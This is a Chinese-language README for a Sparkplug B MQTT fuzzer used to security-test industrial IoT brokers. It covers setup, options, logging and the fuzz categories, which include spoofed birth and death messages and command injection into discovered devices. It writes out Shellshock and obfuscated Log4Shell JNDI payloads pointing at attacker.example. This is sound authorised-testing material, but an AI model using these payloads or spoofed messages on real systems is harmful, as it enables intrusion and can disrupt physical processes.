一个用于测试 Sparkplug B MQTT 协议实现的全面安全评估工具。该模糊测试器系统性地测试所有 9 种消息类型中的所有协议字段,发现网络上的活跃设备,并生成详细日志以供分析。
本工具会向目标代理发送畸形、注入及违反协议的 MQTT 消息。只能针对您拥有或已获得明确书面授权进行测试的系统运行。 Sparkplug B 代理通常位于 OT/ICS 环境中,意外的负载可能干扰物理过程 — 除非另有证明,否则假定每个目标都与生产环境相邻。
如果您使用此工具在 Sparkplug B 实现中发现漏洞,请与相关供应商进行协调披露。要报告本工具本身的安全问题,请参阅 SECURITY.md。
Sparkplug B 规范定义了基于 MQTT 和 Google Protocol Buffers 构建的主题命名空间和负载格式,适用于工业物联网 (IIoT) 环境。该模糊测试器通过以下方式评估 Sparkplug B 实现的安全性和健壮性:
在较新的 Debian/Ubuntu/Kali(PEP-668 系统)上,--setup 无法 pip install 到系统 Python — 请先使用虚拟环境或 pipx。推荐方式:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
或者,如果你不想自己管理 venv,可以使用 `pipx run` 运行。在没有 PEP-668 强制的旧系统上,直接运行 `python3 sparkplug-fuzzer.py --setup` 即可。
`--setup` 将:
1. 安装 pip 依赖(`paho-mqtt`、`protobuf`)
2. 克隆 [Eclipse Tahu](https://github.com/eclipse/tahu) 仓库的固定标签(参见脚本中的 `TAHU_REF`)
3. 复制 `sparkplug_b.py` 和 `array_packer.py` 辅助模块
4. 将 `sparkplug_b.proto` 编译成 Python 绑定(如果可用则使用 `protoc`,否则回退到 `grpcio-tools`)
5. 清理 Tahu 克隆
设置完成后,你的目录应包含:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
这将:
1. 连接到位于 `localhost:1883` 的代理
2. 监听 10 秒以发现现有的 Sparkplug 设备
3. 将模糊测试器建立为 Sparkplug 节点/设备
4. 运行全部 12 个模糊测试类别(约 635+ 个测试用例)
5. 向任何已发现的设备发送伪造消息
6. 将结果写入 `sparkplug_fuzz.jsonl`
## 用法
### 命令行选项```
python3 sparkplug-fuzzer.py [OPTIONS]
使用身份验证运行所有类别:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**在 `ps` 中不暴露凭据的情况下传递凭据:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
通过 TLS 连接:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**被动认证评估 + 主动写入探测:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
仅运行与注入相关的类别:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**以缓慢节奏进行扩展发现(最小化代理负载):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
自定义组/节点标识和日志文件:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**在单独的终端中监控代理流量:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
使用预先克隆的 Tahu 仓库进行离线设置:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**每次运行的输出布局:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
内置的 STRING_FUZZ_VALUES 覆盖了经典注入类别(空/超大字符串、空字节、格式字符串、XSS、SQLi、路径遍历、原型污染)。真实攻防中通常需要针对下游消费 Broker 数据的任何组件的二阶载荷——例如,将指标名称通过 shell 传给历史数据库的 historian、将值喂给 log4j 的基于 Java 的 SCADA 主机、在 HTML 中渲染标签名称的仪表板,等等。
--extra-string-payloads <FILE> 标志会在内置语料之外追加一个额外的语料库。格式为每行一个载荷,UTF-8 编码。仅含空白的行会被保留(在模糊测试中通常是有意为之);完全空白的行会被丢弃。该标志是追加到内置列表,而非替换,因此原有的覆盖范围得以保留。```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
模糊测试器在启动时会打印 `[+] Extra string payloads: loaded N from <path>`,每个载荷都会通过所有迭代 `STRING_FUZZ_VALUES` 的位置发出——主要是 `string` 类别,但也包括类型不匹配生成器的字符串类型用例。
硬性限制:文件大小 10 MB,载荷数量 10,000。如果需要更多(并且运行时间预算允许),可调整脚本顶部的 `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT`。
## v0.2 发布说明
- `--output-dir` 标志,外加自动创建的 `./sparkplug-runs/<UTC-ts>_<host>/` 默认目录——每次运行都会落入各自的目录,这样产物不会在多次运行之间发生冲突。
- 为 `--setup` 提供 `--tahu-path` 标志——指向 `eclipse/tahu` 的本地克隆,适用于出站 `git clone` 被阻止的隔离测试环境。清理时绝不会删除本地源码。
- 控制台与 JSONL 时间戳强制使用 UTC,并带有显式 `Z` 后缀,因此与 broker 日志的交叉关联无需进行时区运算。
- `paho.mqtt` 记录器默认限制为 WARNING 级别;在 `-v` 下可见 INFO 级,在 `-vv` 下可见 DEBUG 级。逐包客户端遥测不再淹没模糊测试信号。
- `tests/` 下的 pytest 测试框架——23 个测试,涵盖 FuzzLogger、主题辅助函数、输出路径解析和 `--tahu-path` 验证。请参阅 [运行测试](#running-the-tests)。
## 运行测试
该测试框架覆盖不依赖网络的各个部分(日志记录器正确性、主题构建器、输出路径解析、`--tahu-path` 解析),并且无需安装 broker、paho-mqtt 或 protobuf 即可运行。```bash
pip install -r requirements-dev.txt
pytest tests/
预期结果:23 passed。依赖网络的路径(PayloadBuilder protobuf、模糊测试发布器、MQTT 生命周期)有意推迟到未来使用容器化 broker 的集成测试层。
### 网络发现
在发现阶段,模糊测试器订阅 `spBv1.0/#` 并监听所有 Sparkplug 流量。`DeviceTracker` 组件解析观察到的消息,以构建实时网络地图:
- **NBIRTH** 消息揭示边缘节点及其度量定义(名称、别名、数据类型)
- **DBIRTH** 消息揭示设备及其度量模式
- **NDEATH/DDEATH** 消息跟踪节点/设备的生命周期状态
- **STATE** 消息揭示主机应用及其在线/离线状态
该地图用于定向模糊测试阶段,以针对真实设备及其实际度量模式发送上下文相关的攻击。
### 身份验证评估
当模糊测试器在没有 `-u/-P`(且未设置 `MQTT_USERNAME`/`MQTT_PASSWORD`)的情况下连接时,它仅通过被动发现来推断代理的身份验证态势。这会在日志中生成一条 `AUTH_ASSESSMENT` 事件并打印摘要:
| 信号 | 含义 | 推导方式 |
|---|---|---|
| `anon_connect_accepted` | 代理接受了无凭据的 CONNECT | 模糊测试器自身的 CONNECT 成功 |
| `anon_subscribe_accepted` | 代理向匿名客户端转发 `spBv1.0/#` / `STATE/#` | 在监听窗口期间至少收到一条 RX 消息 |
| `anon_publish_accepted` | 代理接受匿名客户端的 PUBLISH | 仅当传入 `--probe-anon-write` 时设置;QoS=1 探测 + 等待 PUBACK |
| `unauth_endpoints` | 无需认证即可观察到的节点/设备/主机应用 | 已发现网络地图中的每个实体(从未产生过认证) |
QoS=1 探测是可选加入的,因为它从被动跨越到主动。使用 QoS=0 时,代理会静默丢弃其将拒绝的消息,因此确认接受写入需要读取 PUBACK。
MQTT/Sparkplug 没有按端点进行认证——认证是代理级别的问题。因此,“无需认证即可观察到的端点”被报告为*零成本可达目标*的列表,而不是端点自身的属性。
### 定向模糊测试
在系统模糊测试之后,该工具针对每个发现的设备执行:
1. **伪造的死亡通知** — 发布 NDEATH/DDEATH,诱使订阅者认为设备已离线
2. **伪造的出生证书** — 发布 NBIRTH/DBIRTH,冒充已发现的节点/设备
3. **命令注入** — 为每个已知度量发送携带边界值的 NCMD/DCMD 消息,测试目标是否验证入站命令
4. **重生命令** — 发送 `Node Control/Rebirth` NCMD,触发设备重新发布其出生消息
## 输出与日志分析
### 日志格式
日志文件使用 JSON-lines 格式(`.jsonl`)——每行一个 JSON 对象,适用于使用 `jq`、Python 或任何支持 JSON 的工具进行分析。
大于 64 KiB 的有效载荷不会以十六进制内联;相反,`payload_hex` 携带 `sha256:<digest>+len=<n>`,以便日志在非常大的模糊测试用例中保持有界。`payload_len` 始终存在。
**TX 记录**(出站模糊测试消息):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX record(来自网络的入站消息):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**事件记录**(系统事件):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
按类别统计案例:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**提取所有字符串注入案例:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
列出所有发现的设备:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**查找导致代理断开的案例:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
拉取认证评估:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**列出无需身份验证即可访问的端点:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
获取随时间变化的 TX 数量(用于速率分析):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**导出所有已发布到的主题:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
使用 Python 进行分析:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## 协议覆盖范围
### 消息类型
所有 9 种 Sparkplug B 消息类型均已测试:
| Message Type | Topic Pattern | Description | Fuzzer Usage |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | 节点出生证书 | 建立模糊器存在;为发现的节点伪造;排序测试 |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | 节点死亡通知 | MQTT 遗嘱;为发现的节点伪造;排序测试 |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | 设备出生证书 | 建立模糊器设备;为发现的设备伪造;排序测试 |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | 设备死亡通知 | 为发现的设备伪造;排序测试;孤儿测试 |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | 节点数据更新 | 边界值;序列号;排序测试 |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | 设备数据更新 | 大多数模糊测试类别的主要载体 |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | 节点命令 | 针对性模糊测试(重生命令);孤儿测试 |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | 设备命令 | 针对已发现设备指标的模糊测试;孤儿测试 |
| STATE | `STATE/{host_id}` | 主机应用状态(JSON) | 畸形 JSON 注入 |
### 数据类型
所有 19 种 Sparkplug B 指标数据类型均使用类型特定的边界值进行测试:
| Code | Type | Protobuf Field | Boundary Values Tested |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (溢出), -129 (下溢) |
| 2 | Int16 | int_value | 0, -32768, 32767, 溢出/下溢 |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, 溢出/下溢 |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, 溢出 |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, 最大值, 最小值, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, 最大值, 最小值, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False;还使用原始整数值(0, 1, 2, 255)进行测试 |
| 12 | String | string_value | 空、长(最长 64KB)、注入载荷 |
| 13 | DateTime | long_value | 纪元、最大值、遥远的未来/过去 |
| 14 | Text | string_value | 与 String 相同的注入载荷 |
| 15 | UUID | string_value | 空、有效、无效格式、注入 |
| 16 | DataSet | dataset_value | 通过数据集类别进行结构违规测试 |
| 17 | Bytes | bytes_value | 空、空字节、随机、大 |
| 18 | File | bytes_value | 空、魔数、大 |
| 19 | Template | template_value | 未定义的引用、孤儿模板 |
### 字段覆盖
该模糊器覆盖 87+ 个唯一 protobuf 字段路径,包括:
- **载荷根字段**: timestamp, seq, uuid, body, metrics
- **指标字段**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, 以及所有 value oneof 变体
- **MetaData 字段**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, 递归 propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, 所有 DataSetValue 变体
- **Template**: version, template_ref, is_definition, 嵌套指标, parameters
## 架构
该模糊器是一个按以下组件组织的单一 Python 文件:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
两级载荷构造是一个关键的设计决策:
PayloadBuilder.node_birth() 等)使用 sparkplug_b 辅助函数构建有效、格式良好的载荷。用于建立在线状态和定向欺骗。PayloadBuilder.raw_payload()、corrupt_bytes())直接操作 sparkplug_b_pb2 protobuf 对象或原始字节,绕过验证。用于构造故意畸形的载荷,以测试解析器的错误处理和边界情况。本项目基于 MIT 许可证授权 — 完整文本请参阅 LICENSE。
sparkplug-fuzzer.py --setup 会在安装时从 Eclipse Tahu 获取以下组件,并将其复制到工作目录:
sparkplug_b.py — Sparkplug B 辅助模块array_packer.py — 数组打包辅助模块sparkplug_b.proto — Protocol Buffer 定义(用于生成 sparkplug_b_pb2.py)Eclipse Tahu 依据 Apache 许可证 2.0 版 分发。本仓库不重新分发任何 Tahu 源文件。完整署名信息请参阅 NOTICE。
| 选项 | 默认值 | 描述 |
|---|
-H, --host | localhost | MQTT 代理主机名或 IP |
-p, --port | 1883(使用 --tls 时为 8883) | MQTT 代理端口 |
-u, --username | None | MQTT 用户名(也会读取 MQTT_USERNAME 环境变量) |
-P, --password | None | MQTT 密码(也会读取 MQTT_PASSWORD;传入 - 可从标准输入无回显读取) |
--tls | off | 通过 TLS 连接;若未设置 -p,默认端口变为 8883 |
--cafile | None | 用于 TLS 服务器证书验证的 CA 证书包 |
--insecure | off | 跳过 TLS 主机名/证书验证(仅用于测试) |
-g, --group | Sparkplug B Devices | 模糊器注册所用的 Sparkplug 组 ID |
-n, --node | FuzzNode | 模糊器的 Sparkplug 边缘节点 ID |
-d, --device | FuzzDevice | 模糊器的 Sparkplug 设备 ID |
-c, --categories | all | 要运行的模糊测试类别列表,以空格分隔 |
--discovery-time | 10 | 被动监听网络发现的时间(秒) |
--delay | 0.1 | 模糊消息之间的延迟(秒) |
--probe-anon-write | off | 在发现期间,发送一条 QoS=1 的发布消息,以确认代理是否接受未经身份验证的 PUBLISH |
-l, --log | sparkplug_fuzz.jsonl | 输出日志文件名(相对路径位于 --output-dir 内;绝对路径按原样使用) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | 每次运行的输出目录。若不存在则自动创建。 |
-v, --verbose | 0 | 提高控制台详细程度(-v = info,-vv = debug)。-vv 还会显示模糊生成器跳过的内容,并且受限制的 paho.mqtt 日志记录器会随详细程度提升至 INFO/DEBUG。 |
--setup | — | 安装所有依赖并退出 |
--tahu-path | — | 本地 eclipse/tahu 克隆(或其 python/core 目录)的路径。在离线隔离环境中由 --setup 使用,代替 git clone。 |
--extra-string-payloads | — | 包含额外字符串注入载荷的文件路径(每行一个,UTF-8)。会追加到内置的 STRING_FUZZ_VALUES,不会替换它们。最多 10 MB / 10,000 条载荷。参见 自定义字符串语料库。 |
| 类别 | 描述 | 大致用例数 |
|---|
boundary | 所有 19 种数值数据类型的最小值/最大值/溢出,带值的 is_null,标志组合 | ~200 |
string | 跨 String、Text、UUID、MetaData 字段及 STATE 消息的注入载荷(XSS、SQLi、格式字符串、路径遍历、命令注入、空字节) | ~100 |
type_mismatch | 声明的数据类型与错误的 protobuf 值字段不匹配、无效的数据类型代码、多个 oneof 字段 | ~150 |
sequence | 序列间隙、重复、回退、翻转,NBIRTH/NDEATH 之间 bdSeq 不匹配 | ~20 |
timestamp | 零值、uint64 最大值、遥远的未来/过去时间、指标与载荷时间戳不一致、DateTime 极端值 | ~15 |
alias | 不同指标的重复别名、极端别名值、数据消息中未定义的别名 | ~15 |
orphan | 针对不存在设备、节点、组的数据/命令;未定义的模板引用 | ~20 |
ordering | 协议状态违规:出生前发送数据、重复出生、死亡后发送数据、错误的出生顺序 | ~15 |
recursive | 嵌套 PropertySet 链(深度 1-100)、键/值长度不匹配、PropertySetList 变体 | ~15 |
dataset | 列数不匹配、行元素不匹配、类型违规、空/超大数据集、列名中的特殊字符 | ~25 |
malformed | 二进制 protobuf 损坏:截断、位翻转、随机字节、超长 varint、错误的消息类 | ~30 |
topic | 大小写变体、错误版本、多余/缺少的斜杠、特殊字符、主题字符串中的通配符 | ~30 |